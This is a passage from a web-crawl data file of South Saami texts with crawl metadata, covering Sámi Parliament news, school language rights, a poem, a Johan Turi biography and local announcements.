voestes-gïele åvtanamme dan hijven guktie byöreme.[1]\n- 1«Gïele lea faamoe». Maren Palismaa. Davvi Girji. 2006.\nJienebegïelevoeteKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:181933\/topic:1:179502\/topic:1:176815\/resource:1:176753","date":"2019-04-24T02:57:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578624217.55\/warc\/CC-MAIN-20190424014705-20190424040026-00054.warc.gz","language":"sma","language_score":0.9999941587,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.999994158744812}","num_words":199,"character_repetition_ratio":0.102,"word_repetition_ratio":0.0,"special_characters_ratio":0.163,"stopwords_ratio":0.106,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ietniengïele\nAkte learohke mij aktem åeliem åtna jeatjah ietniengïeline goh daaroengïele edtja ietniengïelelohkehtimmiem gïelesne faaledh.\nIetniengïelelohkehtimmien earna lea ahte maana\/learohke edtja daajroem ietniengïelen bïjre jïh ietniengïelesne övtiedidh. Maana\/learohke edtja gööktengïelevoetem jïh maahtoem övtiedidh.\nAkte learohke mij akten najonelle unnebelåhkosne edtja ietniengïelelohkehtimmiem faaledh learohken nasjonelle unnebelåhkoegïelesne. Learohken åelie ij daarpesjh unnbelåhkoegïelem goh altese ietniengïele utnedh jïh learohke ij daarpesjh maahtoem altese ietniengïeline utnedh ihke altese ietniengïelelohkehtimmesne faaledh.\nTjïelte dïedtem åtna ietniengïelelohkehtimmiem faaledh akten gïelesne jis unnemes goh vïjhte learohkh gïelem veeljieh, jis buerie lohkehtæjja gååvnese naemhtie guktie skuvleförordningesne tjåådtje 2011:185.\nGåessie ietniegïelelohkehtimmien bïjre akten nasjonelle unnebelåhkoegïelesne akte tjïelte dïedtem åtna lohkehtimmiem öörnedh læjhkan gåessie unnebe enn vïjhte learohkh gïelem veeljieh, jis lohkehtæjjam gååvnese, ajve akte gïele gåarede ietniengïeline lohkedh skuvleförorningesne tjåådtje 2011:185.\nAarhskuvle edtja meatan årrodh gosk akte maana jeatjah ietniengïeline goh daaroengïele nuepiem åådtje gåabpegh daaroengïelem jïh altese ietniengïelem övtiedidh. Aarhskuvleklaasse edtja meatan årrodh juktie learohkh jeatjah ietniengïeline goh daaroengïele nuepiem åadtjoeh gåabpegh daaroengïelem jïh ietniengïelem övtiedidh naemhtie guktie skuvlelaakesne tjåådtje 2010:800.","id":"","dump":"CC-MAIN-2019-22","url":"https:\/\/www.dorotea.se\/saepmie\/ietnieng%C3%AFele-modersmaal\/ietnieng%C3%AFele\/","date":"2019-05-25T06:05:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232257889.72\/warc\/CC-MAIN-20190525044705-20190525070705-00239.warc.gz","language":"sma","language_score":1.000005126,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000051259994507}","num_words":159,"character_repetition_ratio":0.131,"word_repetition_ratio":0.0,"special_characters_ratio":0.131,"stopwords_ratio":0.082,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gustav Kappfjell lea daam diktem tjaaleme. Dikte lea gærjesne Gaaltije mij jaepien 1987 trygkesovvi.\nAejverde\nJaavoelamme jeeluve sijth\nSijti gaskem baalkah suvvielamme leah\nOtnerassen duedtie haajpan eajtohte\naernh-sijjieh eah gojkoe vååjnh\nLaevie, mejtie mah vuajnah vaeride?\nEatneme barre goh domtoe aejverde\nNjiemesjh spaenjieh vååjnoeh giknjeldieh\nVaajjan johke ij gujht aavodh goh\nAmmes guejmien faamoe tjuedtjele\nEatnemen vaajmoe baektjede\nDurrien johkh jeatjah otnjegem vualkeme\nRuevtiemast barsjine råavtasjieh\nGuktie laevie, monnen mænngan tjelmieh vuejnieh\nGeajnoeh doeh vaeriegaskem vijtjeldieh\nAmmes guejmieh vaerieh vaalmerdieh\nTjoerverh sån tjidtedh gie viesjebe lea.[1]\n- 1«Gaaltije». Kappfjell, Gustav. DAT o.s. 1987.","id":"","dump":"CC-MAIN-2019-22","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:172396\/topic:1:182173\/topic:1:185454\/resource:1:169691","date":"2019-05-27T10:27:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232262311.80\/warc\/CC-MAIN-20190527085702-20190527111702-00043.warc.gz","language":"sma","language_score":0.9999593496,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999593496322632}","num_words":90,"character_repetition_ratio":0.019,"word_repetition_ratio":0.0,"special_characters_ratio":0.163,"stopwords_ratio":0.056,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Johan Turi båatsoe-saemie jïh tjaelije. Turi jaepien 1854 njoktjen 12.b. Guovdageajnosne reakasovvi jïh jaepien 1936 rahkan 30.b. sealadi dej orre årrome-dajvesne noerhtelen Duortnosjaevrie, Sveerjen bielesne.\nJohan Turin bïjre\nJohan Turi njoktjen 12.b. 1854 reakasovvi Guovdageajnosne jïh rahkan 30.b. 1936 sealadi dej orre årrome-dajvesne noerhtelen Duortnosjaevrie, Sveerjen bielesne. Turin fuelhkie tjoeri Duortnosjaevrien noerhte-bealese juhtedh gosse idtji åadtjoeh vielie juhtedh Nöörjen jïh Såevmien raasten rastah. Idtji åadtjoeh daelvie-gåatoemasse Såevmesne vielie juhtedh.\nMuitalus sámiid birra\nJohan Turi båatsoe-saemie jïh tjaelije. Turi lij aaj beagkoes vijrije. Dïhte sïjhti saemiej bïjre soptsestidh jïh tjaeledh. Dïhte gærjam Muitalus sámiid birra (Soptsesh saemiej bïjre) jaepien 1910 tjeeli saemien-gïelesne, mij lij voestes gærja saemien-gïelesne mij saemie lea tjaaleme. Turi gærjam ektine Emilie Demant tjeeli. Turi båeries soptsestimmie-vuekien mietie tjeeli jïh tjaaleginie maehtebe lohkedh dovne goh histovrijen buerkiestimmieh dehtie aejkeste jïh aaj goh tjaalegh. Turi sïjhti saemiej tsiehkieh bueriedidh jïh dïhte ussjedi meehti saemiej tsiehkide reerenassese buerkiestidh guktie reerenasse edtji guarkedh jïh politihkem jeatjahtehtedh.\nGærjesne Turi soptseste båatsoe-saemiej jieledi bïjre 1900-låhkoen aalkovisnie. Dïhte aaj guvvieh båatsoe-saemiej jieliedistie guvviedi. Dah soptsesh leah båatsoe-burrien bïjre, guktie saemieh vijrin, staaloej bïjre, joejken bïjre jïh gellie jeatjah aamhtesi bïjre. Gærja lea tjiehpies-lidteratuvre, faage-lidteratuvre jïh ussjeden tjaalegh seammasïenten. Gærja gellie ovmessie gïelide jarkoestamme, v.g. danmarhken gïelese, sveerjen gïelese, englaanten gïelese, såevmien gielese.[1]\nJis sïjhth vielie Johan Turin bïjre lohkedh jïh dan guvvieh vuejnedh vuartesjh nedte-vuesiehtimmiem Saemien arkijveste (ajve noerhte-saemien gïelesne). Nedtevuesiehtimmie: Johan Turi girji MUITTALUS SAMID BIRRA 100 jagi\n- 1«Åvtese jåhta, åarjelsaemien tjaalegh jïh tjaalegh åarjelsaemien». Kappfjell, Lena Gaski, Harald. DAT o.s. 2005.\nLaavenjassh: Don aejkien vaarjoej bïjreKjernestoff\nLaavenjassh: Tïjjen 1965 åvtelenKjernestoff\nLaavenjassh: Biejjie-baernieKjernestoff\nLaavenjassh: Johan Turin tjaalegidieKjernestoff\nTjaelieh ussjeden tjaalegemKjernestoff\nLaavenjasse Elsa Laulan bïjreKjernestoff\nLaavenjassh Elsan håalemasseKjernestoff\nÅehpiedehtieh saemien-faageles teemamKjernestoff\nLaavenjassh: GuldnasasKjernestoff\nLaavenjassh: Såångedidh jïh pruvredhKjernestoff\nMåersie faavroeKjernestoff\nSoelege jih nåejtieKjernestoff\nDon aejkien vaarjoej bïjreKjernestoff\nBiejjie-baernien såangoeKjernestoff\nBiejjie-niejten sealadimmieKjernestoff\nVaajese juvri bïjreKjernestoff\nMaana-sujhtemen bïjreKjernestoff\nSaemien tsiehkiej bïjreKjernestoff\nDej baaletje såangoeKjernestoff\nKaarre mij edtji vïjvem veeljedhKjernestoff\nSåångedimmie jïh hïejeKjernestoff\nÅenehks soptseshKjernestoff\nGuldnasasKjernestoff","id":"","dump":"CC-MAIN-2019-22","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:186476\/topic:1:184089\/topic:1:189078\/resource:1:190618","date":"2019-05-23T16:23:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232257259.71\/warc\/CC-MAIN-20190523143923-20190523165923-00270.warc.gz","language":"sma","language_score":0.9997934699,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"sma_Latn_score\": 0.9997934699058533}","num_words":310,"character_repetition_ratio":0.101,"word_repetition_ratio":0.007,"special_characters_ratio":0.152,"stopwords_ratio":0.11,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"SÁMi Ođasmagasiidna gellie ovmessie reportasjh saemien aerpievuekien jieliedistie dorje. Daan aejkien libie Berit Marie E. Eiran luvnie mïnneme, båatsoeburrie jïh saemiedigkieraerie, jïh dïhte vyljehkelaakan sov daajroeh beapmoen bijre lïerehte. Daelie bearkoem gajhkesjeminie maam ij sïejhmemes maehtieh gajhkesjidh. Dïhte njaaregem jïh boerkem meelie jïh mænngan dam gajhkesje. Dåeredh amma gejhkiebearkoem åadtjodh gööktine våhkojne.","id":"","dump":"CC-MAIN-2019-30","url":"https:\/\/samimag.no\/sma\/node\/1219","date":"2019-07-17T05:19:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195525046.5\/warc\/CC-MAIN-20190717041500-20190717063500-00037.warc.gz","language":"sma","language_score":1.0000048876,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000048875808716}","num_words":52,"character_repetition_ratio":0.009,"word_repetition_ratio":0.0,"special_characters_ratio":0.135,"stopwords_ratio":0.096,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"«Faamoe» akte programme dejtie saemien sjugniedihks sïeltide mah lissiehtamme dïenestem jïh sjïdtemem sijhtieh. Voestes programmesne sïelth jarngesne mah lissiedalhketjh jïh interijöörem darjoeh.\n– Saemiedigkien ulmie dan sjugniedihks jieliemasse lea jienebh aktöörh mah nænnoes sïelth sjugniedieh mah dïenestem vedtieh jïh buerebelaakan bïerkenieh. Dan åvteste programmem bæjhkoehtibie mij daam jarngesne åtna, saemiedigkiepresidente Aili Keskitalo jeahta.\nIndividuelle dåarjedimmie\n«Faamoe»-programmesne akte reeknehlåhkoekontovre sæjhta reeknehlåhkoem sïeltide analyseradidh mah meatan sjidtieh programmesne jïh bueriedimmieraeriestimmiejgujmie båetedh dïenestenuepijste. Daate akte sjïere nuepie saemien sïeltide.\n- Gaajhkh sïelth jïjtsevoeth jïh joekehtsh utnieh. Dan åvteste tuhtjebe daerpies dejtie joekehts sïeltide individuellelaakan viehkiehtidh, saemiedigkiepresidente jeahta.\n«Faamoe»-programmesne sïelth aaj sijhtieh bïhkedimmiem åadtjodh mïerhkevaaroebigkemen bïjre gusnie uvtemes tjoevkesem åtna doekemasse jïh vijriedæmman sijjen profesjonelle viermeste . Saemien sïelti ohtsememierie juktie meatan årrodh «Faamoe»-programmesne lea ruffien 11. b. 2019 jïh ohtsemegoere lea mijjen nedtesæjrojne jïh Saemiedigkien Facebook-sæjrosne.\nDïeneste jarngesne\nJis akte sïelte edtja dïenestem åadtjodh, dellie akten akteaajhteresïelten dïeneste byöroe millijovnen bijjelen årrodh. «Faamoen» åejviefokuse dan åvteste sjædta dïenestem lissiehtidh. Dan åvteste gaavnedimmie orreje Oslo Design Fair-meessesne mïetsken 2020, gusnie saemien sïelth raaktan nuepiem åadtjoeh åahpenidh jïh latjkoeh darjodh jåarhkedoekijigujmie.\n– Doh vïjhte vaeljehke sïelth sijhtieh guvhkiehtæjjine sjïdtedh jeatjah saemien sïeltide, mah edtjieh geajnoem vuesiehtidh goh entreprenöörh mah lahkoem darjoeh. Mijjieh saemien sïelth daarpesjibie mah maehtieh raeriestæjjine årrodh jeatjah saemien gründeridie juktie dah saemien kultuvrem jïh haestemh demtieh dan kommersijelle gïehtelimmien bïjre, saemiedigkiepresidente Aili Keskitalo jeahta.\nJis gihtjehtimmiem sïjhth, gaskesadth saemiedigkiepresidentem Aili Keskitalo, tlf: 97129305","id":"","dump":"CC-MAIN-2019-35","url":"https:\/\/saemiedigkie.no\/Saernievaaarhkoe\/PRM-Faamoe-baejhkoehtamme-sjaedta-sjiere-nuepie-saemien-sieltide","date":"2019-08-20T20:22:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027315618.73\/warc\/CC-MAIN-20190820200701-20190820222701-00332.warc.gz","language":"sma","language_score":0.9999886751,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9999886751174927}","num_words":223,"character_repetition_ratio":0.081,"word_repetition_ratio":0.0,"special_characters_ratio":0.138,"stopwords_ratio":0.161,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jis sïjhth njaalmeldh åehpiedehtemem darjodh maam dellie tjoerh ussjedidh? Daesnie naan raerieh gåessie edtjh mubpide maam akt soptsestidh, lohkedh, åehpiedehtedh jallh buerkiestidh. Guktie maahtah åehpiedehtemem aelkedh, jåerhkedh jïh galhkedh.\nDan nuelesne naan buerie raerieh gosse edtjh mubpide maam soptsestidh, lohkedh, åehpiedehtedh jallh buerkiestidh.\nAalkoe vihkielommes\nVoestes minudte vihkielommes. Aellieh aelkieh iktedimmine jallh sisveginie. Buerebe jis aalkah soptsesinie, sitaatine jallh jiehtieginie.\nGaertjedh dov aamhtesem\nBuerebe jis naan vihkeles tsiehkieh veeljh enn gaajhken bïjre gusnie jïjnjh bïevnesh, smaave biehkieh nommigujmie jïh taaligujmie.\nNuhtjh vihties jïh tjïelke vuesiehtimmieh\nBaajh sisvegem jieledh. Nuhtjh vihties jïh tjïelke vuesiehtimmieh, jïh jielije soptsestimmievuekiem.\nSoejkesjh guktie sïjhth soptsestidh\nSoptsesth jeereldihkie gïeline. Maahtah soejmetji jallh snååhpehke, reegkes jallh soejme gïeline soptsestidh. Mujhtieh aaj voejngehtidh.\nSoejkesjh mah viehkievierhtieh sïjhth utnedh\nJis guvvieh tekstine vuesehth aellieh dan jïjnjem fïerhten gåvvan tjaelieh jïh ij baajh dejtie guvvide åejvie-aamhtesem sjïdtedh.\nGovlesadth goltelæjjide\nGutnedh goltelæjjide. Voejhkelh jïenesidie goevlelidh jïh dejtie aaj jaksedh tjelmiejgujmie. Goltelæjjah sijhtieh damtedh datne dejtie soptsesth, jis föörhkedieh jallh bååhperieh dellie vuertesth ånnetji.\nVueptesth dov kråahpegïelem\nTjåadtjoen soptsesth. Nuhtjh kråahpe-gïelem. Aellieh tjåadtjoeh gïeth låammine, marhta- jallh kroessegïeti.\nGovlesadtedhKjernestoff","id":"","dump":"CC-MAIN-2019-35","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:164987\/topic:1:161361\/resource:1:163215","date":"2019-08-25T12:57:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027323328.16\/warc\/CC-MAIN-20190825105643-20190825131643-00310.warc.gz","language":"sma","language_score":1.000002861,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 1.0000028610229492}","num_words":177,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.135,"stopwords_ratio":0.062,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Torbjørn Maaø sæjhta orre kultuvre-nuepie Laavlomegåetesne öörnedh. Skïereden bearjadahken 13.biejjien dellie Maaø aktem konseertem Thomas Brøndboine Laavlomegåetesne öörnie. Maaø hååhkesje Laavlomegåetie almetjistie dïeves juktie dïhte maahta vielie konseertide öörnedh.\nTorbjørn Maaø edtja aktem konseertem Laavlomegåetesne öörnedh.\nTorbjørn aaj aarebi konserth Laavlomegåetesne vuartasjamme.\n-Lij joekoen tryjjes, öövre tjaebpies gåetie onne jïh stoerre konseerti åvteste. Tuhtjem onnetje håjnoes ahte ij edtjh vielie konseerth desnie årrodh. Mahte naanh pop-konseerth jallh naanh åehpies musihke. Lea gaajh faavroes kultuvre Röörosisnie jïh jïjnjh deahpadieh. Ij leah naanh jïjnjh pop jïh dannasinie meehtim dam raejkiem skuvmiestidh, Torbjørn jeahta.\nJis gellieh almetjh Brøndbo-konseertese båetieh kaanne aaj vielie konseerth Laavlomegåetesne sjidtieh.\n-Jïh numhtegh leam ussjedamme. Daate maahta aktem aarkebiejjien-prosjeekte munnjien årrodh, juktie manne musihkem ålvas lyjhkem. Sjïere dagkeres jieleme-musihke. Jis buektehtem Laavlomegåetie almetjistie dïeves aaj sïjhtem jeatjah aartisth diekie veedtjedh, Torbjørn jeahta. Torbjørn aaj jeahta daelie maehtede leahpah Brøndbo-konseertese åestedh.","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/rorosnytt.no\/orre-kultuvre-nuepie-laavlomegaetesne\/","date":"2019-09-19T14:53:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514573533.49\/warc\/CC-MAIN-20190919142838-20190919164838-00529.warc.gz","language":"sma","language_score":0.9999700785,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999700784683228}","num_words":141,"character_repetition_ratio":0.096,"word_repetition_ratio":0.0,"special_characters_ratio":0.153,"stopwords_ratio":0.071,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Maahta reaktam lïerehtæmman saemien gïelesne krïevedh abpe skuvlebaelien, aaj jalhts maana ij leah dejnie aalkeme voestes klaassesne. Saemien learohkh jåarhkelïerehtimmesne reaktam utnieh lïerehtimmiem saemiengïelesne faagesne saemien sæjhta, skuvlen lea dïedte lïerehtimmine faagesne nïerhkedh.\nGosse unnemes 10 learohkh aktene tjïeltesne, mah eah leah meatan saemien gïelen reeremedajvesne, lïerehtimmiem krievieh saemien gïelesne, skuvleaajhtere edtja hoksedh dagkarinie ööhpehtimminie aelkedh. Daate reakta ajve faamosne maadthskuvlen learoehkidie. Doh learohkh mah lïerehtimmiem åadtjoeh saemien gïelesne, edtjieh aaj lïerehtimmiem åadtjodh Maahtoelutnjemen - saemien mietie. Prinsihph lïerehtæmman - saemien lea faamosne dåahkan, jïh dah edtjieh lïerehtimmiem åadtjodh saemien parallell seammavyörtegsh learoesoejkesji mietie.\nDastegh learohkh jallh eejhtegh eah leah madtjeles saemien lïerehtimmine, dej lea reakta dam laejhtedh skuvleaajhterasse jïh Fylhkenålmese jïjtsh fylhkesne.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/saemiedigkie.no\/Dienesjh2\/Lierehtimmie-jih-learoevierhtieh\/Sjaavnjoe-saemien-lierehtimmien-bijre-giejnie-eejhtegh-edtjieh-soptsestidh","date":"2019-10-22T22:29:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570987824701.89\/warc\/CC-MAIN-20191022205851-20191022233351-00486.warc.gz","language":"sma","language_score":1.0000075102,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000075101852417}","num_words":110,"character_repetition_ratio":0.108,"word_repetition_ratio":0.0,"special_characters_ratio":0.132,"stopwords_ratio":0.2,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Stipende\nSaemiedigkie gïeleskreejremestipendem vadta learoehkidie jåarhkeskuvlesne mej saemien goh faage jåarhkeskuvlesne.\nStipende jollebe ööhpehtæmman julevsaemien jallh åarjelsaemien gïelesne, jïh saemien gïeleööhpehtimmie studentide maarkasaemien dajveste\nSaemiedigkie stipendem vadta studentide mah jollebe ööhpehtimmiem julevsaemien jallh åarjelsaemien gïelesne vaeltieh, jïh studentide maarkasaemien dajveste mah saemien gïeleööhpehtimmiem vaeltieh.\nDåarjoe\nSaemiedigkie dåarjoem vadta maanagïertide mah eadtjohkelaakan berkieh saemien gïelh maanagïertesne nænnoestehtedh jïh evtiedidh.\nSaemiedigkie dåarjoem vadta evtiedæmman pedagogeles ïebnijste maanagïertide.\nSaemiedigkie dåarjoem vadta saemien maanagïertide jïh saemien goevtesidie nöörjen maanagïertine mah saemien kultuvrem jïh gïelem våaroeminie utnieh.\nDåarjoe bæjhkoehtamme sjædta dastegh ij jarkelimmieh sjïdth Stoerredigkien gïetedimmesne staatebudsjedteste 2020.\nJeatjah guhkiebasse barkoe saemien reaktajgujmie, arealigujmie jïh vierhtiejgujmie - ohtsemebaseradamme dåarjoe\nSametinget åpner søkerbasert tilskuddsordning til utvikling av læremidler for 1.- 10. årstrinn på grunnskolen og videregående opplæring vg1-vg3 , på nordsamisk, lulesamisk og sørsamisk innenfor temaene: kropp, seksualitet og grensesettingforebygging av rus, vold og overgrepforebygging av trakassering, krenkelser og diskriminering","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/www.saemiedigkie.no\/Daaarjoe-jih-stipende","date":"2020-01-27T05:52:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579251694908.82\/warc\/CC-MAIN-20200127051112-20200127081112-00378.warc.gz","language":"sma","language_score":0.9996364117,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9996364116668701}","num_words":139,"character_repetition_ratio":0.094,"word_repetition_ratio":0.0,"special_characters_ratio":0.126,"stopwords_ratio":0.129,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkieraerie lea eajhnadovveme bïevneseraeriestimmiem govlehtæmman seedtedh. Dah mah sijhtieh maehtieh lahtestimmine båetedh bïevnesen bïjre.\nGuktie lahtestimmiem vedtedh bïevnesasse?\nGåarede lahtestimmiem seedtedh epåastesne Saemiedægkan. Dellie dov lahtestimmie registreradamme sjædta dennie byögkeles påastejournalesne.\nJiehteh mejtie datne lahtestimmiem vadtah goh privaate almetje jallh aktede siebreste.\nSeedth lahtestimmiem prievesne diekie:\nPåastradresse:\nSámediggi - Sametinget\nÁvjovárgeaidnu 50\n9730 Karasjok\/Kárášjohka\nGovlehtimmiemierie lea gålkoen\/rahkan 6.b.","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/www.saemiedigkie.no\/Saernievaaarhkoe\/Saemiedigkiebievnese-duedtien-bijre-govlehtimmesne","date":"2020-01-21T06:19:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250601615.66\/warc\/CC-MAIN-20200121044233-20200121073233-00092.warc.gz","language":"sma","language_score":0.9999119043,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.999911904335022}","num_words":55,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.133,"stopwords_ratio":0.073,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Prosjekten våarome lij bijjieguvvie fååtesi vaarjelamme saemien gåetiej bijjeli, naakede mïsse Rïjhkerevisjovnen reeremerevisjovne gåetievaarjelimmeste Nöörjesne 2009 tjuvtjiedi. Juktie daam dïedtem eensilaakan vaeltedh lij daerpies bijjieguvvine dej gåetiej bijjeli mej åvteste Saemiedigkie raaktan dïedtem åtna. Göökte jaepieh mænngan Saemiedigkie dam saemien gåetieregistreradimmieprosjektem eelki laavenjostosne Rïjhkeantikvaarine jïh Klijma- jïh byjresedepartemeentine.\nUktsie jaepieh mænngan Saemiedigkie amma mahte 900 jïjtsistie vaarjeldihkie saemien gåetieh registreradamme, Opplanden luvhtie åarjene Åarjel-Varangeren gåajkoe noerhtene. Jïh gaajhkesåarhts gåetieh leah, goh buvrie, mestie jeenjemes, naevstieh, skæhtjoeh, derhviegåetieh jïh jeatjah ståapoeh jïh laanteburrien gåetieh. Gåetieh leah seamma jeereldihkie goh dah aktene stoerre dajvesne gååvnesieh. Daelie Saemiedigkie edtja registreradimmiebarkoem bæjjese fulkedh aajhterigujmie ektine, mah maehtieh raerien, bïhkedimmien jïh dåarjoen bïjre syökedh.\nAajkoe registreradimmieprosjektine lea orreme aarvoeh gorredidh jïh heerredidh olles vaarjeldihkie saemien gåetieh slaamh. Saemien gåetievaarjelimmie aaj saemien histovrijem jïh baeliem abpe nöörjen Saepmesne vuesehte, jïh lea tjïelke identiteetevæhta sïejhmelaakan jïh joekoen dejnie dajvine gusnie daaroedehtemepolitihke lea tjarke stïeresne orreme.\nRegisteradimmieprosjekten gaavhtan aaj såemies almetjh leah aalkeme dam histovreles aarvoem jïjtsh gåetijste orresistie vierhtiedidh. Aajhterh skraejriem dåvvomeprosjektijste lïhkes dajvesne åådtjeme jïh pryöveme histovrijem jïjtsh gåetide gaavnedh.\n– Mijjieh garmeres destie maam prosjektesne buektiehtamme, jïh mijjieh daejnie barkojne meatan orreme dam saemien gåetieaerpiem våajnoes darjodh, kultuvremojhtesi, areaalen jïh byjresen goevtesedirektööre Sunniva Skålnes jeahta.\nDov lea aajhtere jïjtsistie vaarjeldihkie gåeteste? Mujhtieh vihkielommes vaarjelimmie lea iemie åtnoe jïh gorredimmie gåeteste, jïh jis mïsse akt onterdh gaskesadth maaje Saemiedigkine, mij maahta raerieh vedtedh. Maahtah aaj dåarjoen bïjre syökedh juktie vaarjelimmievyörtegs jïh vaarjeldihkie saemien gåetieh davvodh.\nDov lea tipse saemien gåetien bïjre mij seapan lea vaarjeldihkie, jïh lea tseegkesovveme 1917 jallh dan åvtelen, gaskesadth Saemiedigkine.\nOhtsh dåarjoem: Kultuvremojhtesevaarjelimmie, ohtsememierie 15.02.2020","id":"","dump":"CC-MAIN-2020-10","url":"https:\/\/saemiedigkie.no\/Saernievaaarhkoe\/Saemien-gaaetieaerpie-jaaarhka-jieledh","date":"2020-02-19T19:56:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875144167.31\/warc\/CC-MAIN-20200219184416-20200219214416-00254.warc.gz","language":"sma","language_score":1.0000054836,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.0000054836273193}","num_words":258,"character_repetition_ratio":0.082,"word_repetition_ratio":0.0,"special_characters_ratio":0.135,"stopwords_ratio":0.171,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daan biejjien, voerhtjen 16. biejjien FHI lea orre appem luajhteme. Dan appen nomme «Smittestopp» jïh edtja koronasuetiem heerredidh.\nFHI lea appem Apple App Store:se jïh Google Play Store:se bïejeme. Daate appe edtja anonyjme daata FHI:se vedtedh guktie almetjh jïh dåehkieh siebriedahkesne svihtjieh. Nimhtie FHI maahta mööledh guktie reeremen råajvarimmieh leah suetiem dïjpeme. Aaj edtjh væhtam åadtjodh jis leah almetjigujmie orreme mejtie leah koronavijrusem åådtjeme.\nTjïeltedåaktere Plassjesne Ánne Lájla Westerfjell Kalstad raereste appem provhkedh jïh nimhtie appen bïjre jeahta:\n-Daate appe joekoen vihkeles juktie dïhte radtjoes viehkehte almetjidie gaavnedh mah suetiem utnieh. Dellie mijjieh maehtebe dejtie isoleeredh juktie dah eah maehtieh mubpide almetjidie laanestidh. Daejnie appine mijjieh aaj maehtebe pandemijen evtiedimmie buerebe guarkedh, tjïeltedåaktere Ánne Lájla Westerfjell Kalstad jeahta.\nFHI aaj raereste appem provhkedh juktie mijjieh maehtebe suetiem heerredidh.","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/saernieh.no\/fhi-lea-orre-appem-dorjeme-maam-suetiem-heerrede\/","date":"2020-06-03T01:09:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347426956.82\/warc\/CC-MAIN-20200602224517-20200603014517-00521.warc.gz","language":"sma","language_score":0.9999864101,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999864101409912}","num_words":127,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.11,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jump to navigation\nTjaelemegaahtjeme maanide jïh noeride maadthskuvlesne jïh jåarhkeskuvlesne.\n-Akte, göökte jallh jienebh gïelh, maanaj guektiengïeleldh evtiedimmien bijre, uvtemes saemien gïelh\nUlmie dejnie biejjine daan jaepien, lea vuesiehtidh guktie ektiedimmie kvaliteetem maanagïertesne nænnoste.\nBiejjielåhkoe 2020\n© 2014 Centre for Sámi Language in Education - Sámi University College, all rights reserved\nDeveloped by: 